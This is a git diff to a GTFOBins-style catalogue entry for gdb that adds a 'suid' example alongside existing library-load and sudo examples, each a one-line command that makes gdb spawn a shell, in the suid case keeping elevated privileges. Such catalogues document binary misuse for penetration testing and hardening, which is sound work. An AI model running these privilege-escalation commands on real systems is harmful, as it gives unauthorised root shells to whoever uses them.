diff --git a/_gtfobins/gdb.md b/_gtfobins/gdb.md index 68676d3..df2766e 100644 --- a/_gtfobins/gdb.md +++ b/_gtfobins/gdb.md @@ -47,6 +47,8 @@ functions: library-load: - description: This requires that GDB is compiled with Python support. code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit + suid: + - code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit sudo: - code: sudo gdb -nx -ex '!sh' -ex quit capabilities: